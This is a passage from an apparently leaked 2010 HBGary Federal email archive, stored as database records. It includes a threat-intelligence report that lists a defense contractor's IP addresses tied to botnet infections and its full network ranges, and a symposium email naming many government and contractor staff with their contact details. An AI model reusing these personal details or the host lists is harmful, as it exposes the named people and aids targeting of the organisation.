4;68.123.245.111\r\n67.112.183.48;67.112.183.55\r\n65.242.59.120;65.242.59.127\r\n69.110.86.248;69.110.86.255\r\n63.206.114.184;63.206.114.191\r\n63.202.191.32;63.202.191.39\r\n63.203.33.88;63.203.33.95\r\n69.232.11.144;69.232.11.159\r\n71.134.16.96;71.134.16.103\r\n71.138.233.96;71.138.233.127\r\n71.140.96.200;71.140.96.207\r\n75.5.171.248;75.5.171.255\r\n75.9.138.144;75.9.138.151\r\n99.178.89.88;99.178.89.95\r\n99.178.89.96;99.178.89.103\r\n99.183.154.168;99.183.154.175\r\n99.187.102.112;99.187.102.119\r\n69.108.130.72;69.108.130.79\r\n63.194.2.168;63.194.2.175\r\n155.212.219.192;155.212.219.255\r\n65.246.82.160;65.246.82.175\r\n204.15.19.216;204.15.19.223\r\n208.255.145.224;208.255.145.231\r\n65.210.81.168;65.210.81.175\r\n67.192.98.136;67.192.98.143\r\n98.129.175.24;98.129.175.31\r\n65.242.89.128;65.242.89.135\r\n67.123.171.144;67.123.171.151\r\n71.131.118.224;71.131.118.231\r\n65.71.179.248;65.71.179.255\r\n70.137.78.24;70.137.78.31\r\n76.229.68.240;76.229.68.247\r\n69.37.71.88;69.37.71.95\r\n70.248.205.0;70.248.205.7\r\n71.128.76.56;71.128.76.63\r\n71.128.180.176;71.128.180.183\r\n71.133.15.88;71.133.15.95\r\n71.140.131.80;71.140.131.87\r\n70.132.154.112;70.132.154.119\r\n71.158.76.48;71.158.76.63\r\n76.195.149.232;76.195.149.239\r\n76.202.202.208;76.202.202.223\r\n99.181.230.184;99.181.230.191\r\n99.181.230.192;99.181.230.199\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',3572,'aaron_hbgary_com/3572.html'),(7061,'2010-06-04','\"Lee, Tamika D\" <tdlee6@nsa.gov>','/aaron@hbgary.com/new/1297005139.M458012P14101Q1916.eml','thendricks@dewnet.ncsc.mil,\"Smith, Thomas\" <tesmith@nsa.gov>,ed@inguardians.com,Randal.Vickers@dhs.gov,edward.nugent@pacom.mil,rcparks@sandia.gov,\"Sheesley, Eric W.\" <e.sheesl@radium.ncsc.mil>,\"Barbour, Garth S.\" <g.barbou@radium.ncsc.mil>,\"Peteroy, William E\" <wepeter@nsa.gov>,windsor_stephen@bah.com,\"Hobbs, Kristen L\" <klhobb2@nsa.gov>,\"Kaltwasser, Jonathan C\" <jckaltw@radium.ncsc.mil>,karen.danesi@gchq.gsi.gov.uk,Donna.Martin@disa.mil,dpghorm@sandia.gov,cmwray@sandia.gov,fwu@thecouch.ncsc.mil,craig@thecouch.ncsc.mil,Linus.Barloon@whmo.mil,\"Bartock, Paul F.\" <p.bartoc@radium.ncsc.mil>,nziring@thecouch.ncsc.mil,aaron@hbgary.com,Michael.Bingham@osd.mil,skbohli@missi.ncsc.mil,rjlarso@missi.ncsc.mil,HeatherRT@gmail.com,\"Graham, Kimberly A\" <kagraha@nsa.gov>,jay.weinstein@L-3com.com,jon.callahan@gdc4s.com,\"Heimbuch, Andrew C\" <acheimb@nsa.gov>,\"Sumlin, Daniel A\" <dasumli@nsa.gov>,\"david.borden@lackland.af.mil\" <david.borden@LACKLAND.AF.MIL>,\"Rogers, Bruce J\" <bjroger@nsa.gov>,michael.sikorski@mandiant.com,\"Clark, Akiva A.\" <aclark@mitre.org>,Dmitri_Alperovitch@McAfee.com,jeff.williams@aspectsecurity.com,jminicucci@mtcsc.com,Neil.gaudreau@usmc.mil,\"Sullivan, Matthew W\" <mwsull3@nsa.gov>,c.dunkle@dewnet.ncsc.mil,Harry.Wearne@gchq.gsi.gov.uk,karen.danesi@gchq.gsi.gov.uk,adam.long@ogn.af.mil,koramot@sandia.gov,Donna.Martin@disa.mil,fwu@thecouch.ncsc.mil,craig@thecouch.ncsc.mil,carter.stephen@gmail.com,nziring@thecouch.ncsc.mil,Ann.Barron-DiCamillo@disa.mil,nziring@thecouch.ncsc.mil,Michael.Bingham@osd.mil,skbohli@missi.ncsc.mil,rjlarso@missi.ncsc.mil,bruce.hoy@L-3com.com,jon.callahan@gdc4s.com,thendricks@dewnet.ncsc.mil,\"Smith, Thomas\" <tesmith@nsa.gov>,ed@inguardians.com,Randal.Vickers@dhs.gov,edward.nugent@pacom.mil','Multimedia Requirements for REBL Symposium 14-18 June 2010 / JHU-APL Visitor Guide','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nMultimedia Requirements\r\nfor Red Team / Blue Team (REBL) Symposium\r\n\r\n14-18 June 2010\r\n\r\nJHU/APL\r\n\r\n***\r\n\r\n&nbsp;\r\n\r\nSent on behalf of Bryan\r\nShindledecker:\r\n\r\n&nbsp;\r\n\r\nALL briefings must arrive to I922 - Bryan\r\nShindledecker, bkshind@nsa.gov absolutely\r\nno later than 7 June 2010.&nbsp; If briefings are not received by the due date\r\n- it is the responsibility of the briefer to either:\r\n\r\n&nbsp;\r\n\r\n1 -&nbsp; bring a completed CD\r\ncontaining your brief - properly marked with classification,\r\n\r\n&nbsp;\r\n\r\n2 -&nbsp; or bring your own\r\nlaptop with presentations loaded and ready to go.\r\n\r\n&nbsp;\r\n\r\n* Please keep in mind that any presentation brought\r\ninto the briefing areas on CD, will NOT be returned.*\r\n\r\n&nbsp;\r\n\r\nIf bringing a CD, please do the following:\r\n\r\n&nbsp;\r\n\r\n1 -&nbsp; Arrive 90 minutes\r\nprior to your scheduled briefing so that your CD can be properly scanned for\r\nany viruses or issues.\r\n\r\n&nbsp;\r\n\r\n2 -&nbsp; Deliver your CD to the\r\nregistration desk / check in / the CD will then be processed.\r\n\r\n&nbsp;\r\n\r\n3 - CD\'s WILL NOT BE RETURNED.\r\n\r\n&nbsp;\r\n\r\n* If you have more engagements at other venues with\r\nthe same presentations, please ensure you have multiple copies as CD\'s used at\r\nthe REBL will not be returned.*\r\n\r\n&nbsp;\r\n\r\nAttached, you will also find the JHU-APL visitor guide.\r\n\r\n&nbsp;\r\n\r\nI will be out of the office until 10 June 2010 and will\r\nrespond to briefing inquiries and/or questions at that time. If you have any\r\nother questions pertaining to REBL, please contact: DLREBL@corp.nsa.gov.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nThanks\r\n\r\n&nbsp;\r\n\r\nBryan Shindledecker\r\n\r\nbkshind@nsa.gov\r\n\r\n410-854-7436\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15410,'aaron_hbgary_com/15410.html'),(7062,'2010-06-04','\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@TASC.COM>','/aaron@hbgary.com/new/1297005139.M927504P14101Q1917.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,','RE: IP Query Results','Ted\r\n\r\nSee Mark\'s question.  Also what is the name of the tool you used? \r\n\r\nSteve \r\n\r\n-----Original Message-----\r\nFrom: Leary, Mark F (IS) \r\nSent: Friday, June 04, 2010 11:37 AM\r\nTo: Winterfeld, Steven P (TASC)\r\nSubject: RE: IP Query Results\r\n\r\nWhat\'s \"confidence\" mean? And the weighting %?\r\n\r\n-----Original Message-----\r\nFrom: Winterfeld, Steven P (TASC) \r\nSent: Friday, June 04, 2010 1:35 PM\r\nTo: Leary, Mark F (IS)\r\nSubject: FW: IP Query Results\r\n\r\nFYI\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Friday, June 04, 2010 8:49 AM\r\nTo: Barr Aaron; Winterfeld, Steven P (TASC); Lirette, Dave (TASC)\r\nSubject: IP Query Results\r\n\r\nSteve / Dave\r\n\r\nBelow are the results from our brief demo yesterday.  Listed first are\r\nthe Northrop IP addresses that have been linked to botnet activities,\r\nfollowed by a complete listing of the Northrop netblocks (per ARIN\r\nrecords) we queried against the EndGame database:\r\n\r\nIP : 12.48.17.62\r\nConfidence : 10%\r\nEvents :\r\n	Conficker A/B : Fri Aug 14 12:44:47 2009 GMT\r\n	Spam : Wed Mar 25 07:59:00 2009 GMT\r\n\r\nIP : 157.127.26.187\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Thu Feb 26 16:59:00 2009 GMT\r\n\r\nIP : 157.127.30.93\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Mon Mar  2 06:59:00 2009 GMT\r\n\r\nIP : 157.127.62.193\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Fri Feb 27 01:59:00 2009 GMT\r\n\r\nIP : 157.127.63.67\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Mon Mar  2 04:59:00 2009 GMT\r\n\r\nIP : 157.127.69.88\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Fri Feb 27 04:59:00 2009 GMT\r\n\r\nIP : 157.127.84.210\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Fri Jan  2 11:59:00 2009 GMT\r\n\r\nIP : 157.127.84.236\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Wed Mar 18 20:59:00 2009 GMT\r\n\r\nIP : 157.127.101.187\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Thu Mar  5 22:59:00 2009 GMT\r\n\r\nIP : 157.127.101.198\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Fri Mar 13 09:59:00 2009 GMT\r\n\r\nIP : 157.127.114.172\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Wed Feb 25 16:59:00 2009 GMT\r\n\r\nIP : 157.127.134.108\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sun Mar  8 10:59:00 2009 GMT\r\n\r\nIP : 157.127.150.183\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sun Mar  8 11:59:00 2009 GMT\r\n\r\nIP : 157.127.155.214\r\nConfidence : 35.152796%\r\nEvents :\r\n	Zeus : Tue Mar  2 00:38:26 2010 GMT\r\n\r\nIP : 157.127.172.248\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Mon Mar  9 14:59:00 2009 GMT\r\n\r\nIP : 157.127.195.108\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sun Mar 15 22:59:00 2009 GMT\r\n\r\nIP : 157.127.195.127\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Mon Feb  9 05:59:00 2009 GMT\r\n\r\nIP : 157.127.203.218\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Mon Feb  9 11:59:00 2009 GMT\r\n\r\nIP : 157.127.229.95\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Mon Mar 16 04:59:00 2009 GMT\r\n\r\nIP : 134.223.35.149\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Wed Feb 11 13:59:00 2009 GMT\r\n\r\nIP : 134.223.46.22\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sat Feb 21 12:59:00 2009 GMT\r\n\r\nIP : 134.223.46.123\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Fri Mar 13 22:59:00 2009 GMT\r\n\r\nIP : 134.223.74.16\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Fri Mar 20 14:59:00 2009 GMT\r\n\r\nIP : 134.223.82.192\r\nConfidence : 24.031133%\r\nEvents :\r\n	Spam : Mon Jan 18 16:59:00 2010 GMT\r\n\r\nIP : 134.223.99.187\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Mon Mar 16 17:59:00 2009 GMT\r\n\r\nIP : 134.223.114.177\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Wed Feb 25 18:59:00 2009 GMT\r\n\r\nIP : 134.223.150.38\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sat Mar 14 06:59:00 2009 GMT\r\n\r\nIP : 134.223.157.87\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Thu Mar 12 00:59:00 2009 GMT\r\n\r\nIP : 134.223.168.212\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Mon Mar 23 06:59:00 2009 GMT\r\n\r\nIP : 134.223.188.179\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Mon Mar  2 06:59:00 2009 GMT\r\n\r\nIP : 134.223.204.114\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sun Mar  8 07:59:00 2009 GMT\r\n\r\nIP : 134.223.210.166\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Tue Feb 24 03:59:00 2009 GMT\r\n\r\nIP : 134.223.214.47\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sun Mar  1 01:59:00 2009 GMT\r\n\r\nIP : 155.104.37.18\r\nConfidence : 10%\r\nEvents :\r\n	Bobax : Wed Jul 22 18:59:00 2009 GMT\r\n\r\nIP : 155.104.108.227\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Wed Feb 25 13:59:00 2009 GMT\r\n\r\nIP : 155.104.117.79\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sat Mar 14 22:59:00 2009 GMT\r\n\r\nIP : 155.104.143.204\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Mon Feb  9 00:59:00 2009 GMT\r\n\r\nIP : 155.104.149.236\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Fri Mar 20 08:59:00 2009 GMT\r\n\r\nIP : 155.104.169.216\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sun Mar 15 10:59:00 2009 GMT\r\n\r\nIP : 155.104.186.69\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Fri Mar  6 00:59:00 2009 GMT\r\n\r\nIP : 155.104.195.120\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Tue Mar 10 02:59:00 2009 GMT\r\n\r\nIP : 155.104.253.160\r\nConfidence : 10%\r\nEvents :\r\n	Conficker C : Mon Nov 23 18:31:05 2009 GMT\r\n	Conficker A/B : Wed Apr  1 13:45:22 2009 GMT\r\n\r\nIP : 134.77.62.31\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Mon Mar 16 04:59:00 2009 GMT\r\n\r\nIP : 134.77.154.194\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sun Mar  8 17:59:00 2009 GMT\r\n\r\nIP : 134.77.199.29\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sun Mar 15 23:59:00 2009 GMT\r\n\r\nIP : 134.77.203.242\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Thu Feb 26 00:59:00 2009 GMT\r\n\r\nIP : 134.77.214.197\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Tue Feb 10 07:59:00 2009 GMT\r\n\r\nIP : 134.77.254.98\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Wed Jan 14 06:59:00 2009 GMT\r\n\r\nIP : 132.228.4.253\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Wed Mar 11 09:59:00 2009 GMT\r\n\r\nIP : 132.228.28.219\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sun Jan 11 18:59:00 2009 GMT\r\n\r\nIP : 132.228.40.120\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Wed Mar 11 07:59:00 2009 GMT\r\n\r\nIP : 132.228.47.162\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Tue Mar 17 21:59:00 2009 GMT\r\n\r\nIP : 132.228.61.127\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sun Mar 22 12:59:00 2009 GMT\r\n\r\nIP : 132.228.85.231\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Mon Jan 26 08:59:00 2009 GMT\r\n\r\nIP : 132.228.97.130\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Wed Mar 18 21:59:00 2009 GMT\r\n\r\nIP : 132.228.99.229\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Thu Mar  5 11:59:00 2009 GMT\r\n\r\nIP : 132.228.100.98\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Wed Mar  4 23:59:00 2009 GMT\r\n\r\nIP : 132.228.111.117\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Tue Mar 10 18:59:00 2009 GMT\r\n\r\nIP : 132.228.115.77\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Mon Jan 19 05:59:00 2009 GMT\r\n\r\nIP : 132.228.156.248\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Mon Mar  9 11:59:00 2009 GMT\r\n\r\nIP : 132.228.157.141\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sat Mar 21 18:59:00 2009 GMT\r\n\r\nIP : 132.228.167.144\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Wed Mar 11 02:59:00 2009 GMT\r\n\r\nIP : 132.228.178.113\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Mon Feb 16 07:59:00 2009 GMT\r\n\r\nIP : 132.228.181.94\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Tue Mar 24 00:59:00 2009 GMT\r\n\r\nIP : 132.228.198.188\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Thu Mar 12 22:59:00 2009 GMT\r\n\r\nIP : 132.228.221.184\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Wed Jan  7 00:59:00 2009 GMT\r\n\r\nIP : 132.228.235.100\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sun Feb  8 23:59:00 2009 GMT\r\n\r\nIP : 158.114.46.236\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Fri Feb 13 18:59:00 2009 GMT\r\n\r\nIP : 158.114.60.87\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sat Jan 31 13:59:00 2009 GMT\r\n\r\nIP : 158.114.65.49\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Fri Jan 16 20:59:00 2009 GMT\r\n\r\n198.17.147.0;198.17.147.255\r\n198.202.184.0;198.202.184.255\r\n192.135.212.0;192.135.212.255\r\n199.165.146.0;199.165.148.255\r\n198.180.218.0;198.180.218.255\r\n198.49.249.0;198.49.249.255\r\n192.135.211.0;192.135.211.255\r\n216.54.39.240;216.54.39.247\r\n216.54.92.104;216.54.92.111\r\n65.117.102.96;65.117.102.127\r\n65.112.186.160;65.112.186.175\r\n12.186.184.192;12.186.184.255\r\n12.182.30.224;12.182.30.255\r\n12.144.89.240;12.144.89.247\r\n12.48.17.0;12.48.17.63\r\n12.44.8.160;12.44.8.191\r\n12.54.59.240;12.54.59.247\r\n12.222.32.72;12.222.32.79\r\n192.150.240.0;192.150.240.255\r\n157.127.0.0;157.127.255.255\r\n192.153.43.0;192.153.43.255\r\n134.223.0.0;134.223.255.255\r\n155.104.0.0;155.104.255.255\r\n134.77.0.0;134.77.255.255\r\n132.228.0.0;132.228.255.255\r\n192.35.84.0;192.35.84.255\r\n158.114.0.0;158.114.255.255\r\n192.112.145.0;192.112.145.255\r\n137.51.0.0;137.51.255.255\r\n192.150.201.0;192.150.201.255\r\n63.174.11.128;63.174.11.255\r\n12.165.111.160;12.165.111.191\r\n12.154.90.0;12.154.90.255\r\n12.41.67.0;12.41.67.255\r\n12.187.24.192;12.187.24.223\r\n12.172.51.64;12.172.51.127\r\n12.44.11.184;12.44.11.191\r\n12.53.63.128;12.53.63.255\r\n12.144.223.112;12.144.223.127\r\n12.71.30.128;12.71.30.135\r\n12.204.106.112;12.204.106.119\r\n12.182.16.184;12.182.16.191\r\n12.69.72.24;12.69.72.31\r\n192.12.44.0;192.12.44.255\r\n128.99.0.0;128.99.255.255\r\n65.163.5.128;65.163.5.191\r\n206.229.114.64;206.229.114.127\r\n208.21.174.160;208.21.174.191\r\n65.162.155.24;65.162.155.31\r\n208.7.1.248;208.7.1.255\r\n65.163.34.48;65.163.34.55\r\n205.162.11.64;205.162.11.127\r\n205.244.158.104;205.244.158.111\r\n205.246.137.192;205.246.137.199\r\n206.228.172.96;206.228.172.103\r\n206.229.97.192;206.229.97.223\r\n208.19.16.160;208.19.16.191\r\n208.19.79.96;208.19.79.127\r\n208.20.149.232;208.20.149.239\r\n206.229.9.112;206.229.9.119\r\n208.2.203.64;208.2.203.71\r\n208.12.120.0;208.12.120.255\r\n208.12.121.0;208.12.121.255\r\n208.12.122.0;208.12.122.255\r\n204.97.84.72;204.97.84.79\r\n206.228.170.112;206.228.170.119\r\n63.175.65.0;63.175.65.31\r\n65.160.161.32;65.160.161.39\r\n65.161.169.208;65.161.169.215\r\n65.165.199.192;65.165.199.255\r\n65.168.235.0;65.168.235.255\r\n65.169.82.24;65.169.82.31\r\n204.118.7.96;204.118.7.127\r\n198.70.200.8;198.70.200.15\r\n204.118.7.128;204.118.7.255\r\n208.2.72.0;208.2.73.255\r\n208.4.26.32;208.4.26.63\r\n208.7.9.48;208.7.9.55\r\n208.8.12.112;208.8.12.119\r\n208.20.220.0;208.20.220.255\r\n208.23.198.16;208.23.198.23\r\n64.132.233.128;64.132.233.143\r\n216.74.147.168;216.74.147.175\r\n165.193.120.8;165.193.120.15\r\n12.52.81.240;12.52.81.247\r\n64.172.8.48;64.172.8.55\r\n68.89.81.208;68.89.81.215\r\n66.140.248.160;66.140.248.191\r\n66.138.220.168;66.138.220.175\r\n64.169.174.224;64.169.174.231\r\n67.113.106.56;67.113.106.63\r\n209.76.9.72;209.76.9.79\r\n208.239.171.168;208.239.171.175\r\n67.125.218.152;67.125.218.159\r\n65.66.7.56;65.66.7.63\r\n64.165.39.0;64.165.39.7\r\n67.121.9.152;67.121.9.159\r\n66.137.162.160;66.137.162.191\r\n68.163.82.80;68.163.82.95\r\n65.51.235.128;65.51.235.135\r\n208.251.123.192;208.251.123.199\r\n71.134.82.0;71.134.82.127\r\n65.197.250.240;65.197.250.247\r\n65.215.44.24;65.215.44.31\r\n70.106.7.96;70.106.7.127\r\n64.83.35.160;64.83.35.167\r\n69.27.88.192;69.27.88.199\r\n24.38.23.120;24.38.23.127\r\n216.180.63.0;216.180.63.15\r\n66.20.216.40;66.20.216.47\r\n64.165.24.216;64.165.24.223\r\n65.71.186.200;65.71.186.207\r\n64.170.94.64;64.170.94.71\r\n63.203.2.232;63.203.2.239\r\n63.204.213.200;63.204.213.207\r\n68.121.176.232;68.121.176.239\r\n66.126.161.216;66.126.161.223\r\n64.163.147.136;64.163.147.143\r\n68.121.178.128;68.121.178.135\r\n64.168.19.16;64.168.19.23\r\n68.123.245.104;68.123.245.111\r\n67.112.183.48;67.112.183.55\r\n65.242.59.120;65.242.59.127\r\n69.110.86.248;69.110.86.255\r\n63.206.114.184;63.206.114.191\r\n63.202.191.32;63.202.191.39\r\n63.203.33.88;63.203.33.95\r\n69.232.11.144;69.232.11.159\r\n71.134.16.96;71.134.16.103\r\n71.138.233.96;71.138.233.127\r\n71.140.96.200;71.140.96.207\r\n75.5.171.248;75.5.171.255\r\n75.9.138.144;75.9.138.151\r\n99.178.89.88;99.178.89.95\r\n99.178.89.96;99.178.89.103\r\n99.183.154.168;99.183.154.175\r\n99.187.102.112;99.187.102.119\r\n69.108.130.72;69.108.130.79\r\n63.194.2.168;63.194.2.175\r\n155.212.219.192;155.212.219.255\r\n65.246.82.160;65.246.82.175\r\n204.15.19.216;204.15.19.223\r\n208.255.145.224;208.255.145.231\r\n65.210.81.168;65.210.81.175\r\n67.192.98.136;67.192.98.143\r\n98.129.175.24;98.129.175.31\r\n65.242.89.128;65.242.89.135\r\n67.123.171.144;67.123.171.151\r\n71.131.118.224;71.131.118.231\r\n65.71.179.248;65.71.179.255\r\n70.137.78.24;70.137.78.31\r\n76.229.68.240;76.229.68.247\r\n69.37.71.88;69.37.71.95\r\n70.248.205.0;70.248.205.7\r\n71.128.76.56;71.128.76.63\r\n71.128.180.176;71.128.180.183\r\n71.133.15.88;71.133.15.95\r\n71.140.131.80;71.140.131.87\r\n70.132.154.112;70.132.154.119\r\n71.158.76.48;71.158.76.63\r\n76.195.149.232;76.195.149.239\r\n76.202.202.208;76.202.202.223\r\n99.181.230.184;99.181.230.191\r\n99.181.230.192;99.181.230.199\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',15725,'aaron_hbgary_com/15725.html'),(7063,'2010-06-04','\"Scott Suhy\" <Scott.Suhy@PointAbout.com>','/aaron@hbgary.com/new/1297005140.M150820P14101Q1918.eml','\"Aaron Barr\" <aaron@hbgary.com>','Accepted: Mobile Discussion - PointAbout, Inc.','BEGIN:VCALENDAR\r\nPRODID:-//Microsoft Corporation//Outlook 12.0 MIMEDIR//EN\r\nVERSION:2.0\r\nMETHOD:REPLY\r\nX-MS-OLK-FORCEINSPECTOROPEN:TRUE\r\nBEGIN:VEVENT\r\nATTENDEE;PARTSTAT=ACCEPTED:mailto:scott.suhy@pointabout.com\r\nCLASS:PUBLIC\r\nCOMMENT:\\n\r\nCREATED:20100604T174302Z\r\nDESCRIPTION:\\n\r\nDTEND:20100608T160000Z\r\nDTSTAMP:20100604T174302Z\r\nDTSTART:20100608T150000Z\r\nLAST-MODIFIED:20100604T174303Z\r\nLOCATION:1410 Q St.\r\nPRIORITY:5\r\nSEQUENCE:7\r\nSUMMARY;LANGUAGE=en-us:Accepted: Mobile Discussion - PointAbout\\, Inc.\r\nTRANSP:OPAQUE\r\nUID:9B560383-8E34-48CF-B54E-87E359239367\r\nX-ALT-DESC;FMTTYPE=text/html:\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\r\nX-MICROSOFT-CDO-BUSYSTATUS:BUSY\r\nX-MICROSOFT-CDO-IMPORTANCE:1\r\nX-MS-OLK-AUTOFILLLOCATION:FALSE\r\nX-MS-OLK-CONFTYPE:0\r\nEND:VEVENT\r\nEND:VCALENDAR\r\n\r\n',12064,'aaron_hbgary_com/12064.html'),(7064,'2010-06-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005140.M506970P14101Q1919.eml','\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@tasc.com>,\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@tasc.com>,','Re: IP Query Results','We used our data feed from end games.  The confidence is a weighted\r\nvalue mostly based on time decay.  When I get back to my desk I can\r\nprovide the other factors that go into the weighting.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jun 4, 2010, at 11:39 AM, \"Winterfeld, Steven P (TASC)\"\r\n wrote:\r\n\r\n> Ted\r\n>\r\n> See Mark\'s question.  Also what is the name of the tool you used?\r\n>\r\n> Steve\r\n>\r\n> -----Original Message-----\r\n> From: Leary, Mark F (IS)\r\n> Sent: Friday, June 04, 2010 11:37 AM\r\n> To: Winterfeld, Steven P (TASC)\r\n> Subject: RE: IP Query Results\r\n>\r\n> What\'s \"confidence\" mean? And the weighting %?\r\n>\r\n> -----Original Message-----\r\n> From: Winterfeld, Steven P (TASC)\r\n> Sent: Friday, June 04, 2010 1:35 PM\r\n> To: Leary, Mark F (IS)\r\n> Subject: FW: IP Query Results\r\n>\r\n> FYI\r\n>\r\n> -----Original Message-----\r\n> From: Ted Vera [mailto:ted@hbgary.com]\r\n> Sent: Friday, June 04, 2010 8:49 AM\r\n> To: Barr Aaron; Winterfeld, Steven P (TASC); Lirette, Dave (TASC)\r\n> Subject: IP Query Results\r\n>\r\n> Steve / Dave\r\n>\r\n> Below are the results from our brief demo yesterday.  Listed first are\r\n> the Northrop IP addresses that have been linked to botnet activities,\r\n> followed by a complete listing of the Northrop netblocks (per ARIN\r\n> records) we queried against the EndGame database:\r\n>\r\n> IP : 12.48.17.62\r\n> Confidence : 10%\r\n> Events :\r\n> 	Conficker A/B : Fri Aug 14 12:44:47 2009 GMT\r\n> 	Spam : Wed Mar 25 07:59:00 2009 GMT\r\n>\r\n> IP : 157.127.26.187\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Thu Feb 26 16:59:00 2009 GMT\r\n>\r\n> IP : 157.127.30.93\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Mon Mar  2 06:59:00 2009 GMT\r\n>\r\n> IP : 157.127.62.193\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Fri Feb 27 01:59:00 2009 GMT\r\n>\r\n> IP : 157.127.63.67\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Mon Mar  2 04:59:00 2009 GMT\r\n>\r\n> IP : 157.127.69.88\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Fri Feb 27 04:59:00 2009 GMT\r\n>\r\n> IP : 157.127.84.210\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Fri Jan  2 11:59:00 2009 GMT\r\n>\r\n> IP : 157.127.84.236\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Wed Mar 18 20:59:00 2009 GMT\r\n>\r\n> IP : 157.127.101.187\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Thu Mar  5 22:59:00 2009 GMT\r\n>\r\n> IP : 157.127.101.198\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Fri Mar 13 09:59:00 2009 GMT\r\n>\r\n> IP : 157.127.114.172\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Wed Feb 25 16:59:00 2009 GMT\r\n>\r\n> IP : 157.127.134.108\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Sun Mar  8 10:59:00 2009 GMT\r\n>\r\n> IP : 157.127.150.183\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Sun Mar  8 11:59:00 2009 GMT\r\n>\r\n> IP : 157.127.155.214\r\n> Confidence : 35.152796%\r\n> Events :\r\n> 	Zeus : Tue Mar  2 00:38:26 2010 GMT\r\n>\r\n> IP : 157.127.172.248\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Mon Mar  9 14:59:00 2009 GMT\r\n>\r\n> IP : 157.127.195.108\r\n> Confidence : 10%\r\n> Events :\r\n> 	Spam : Sun Mar 15 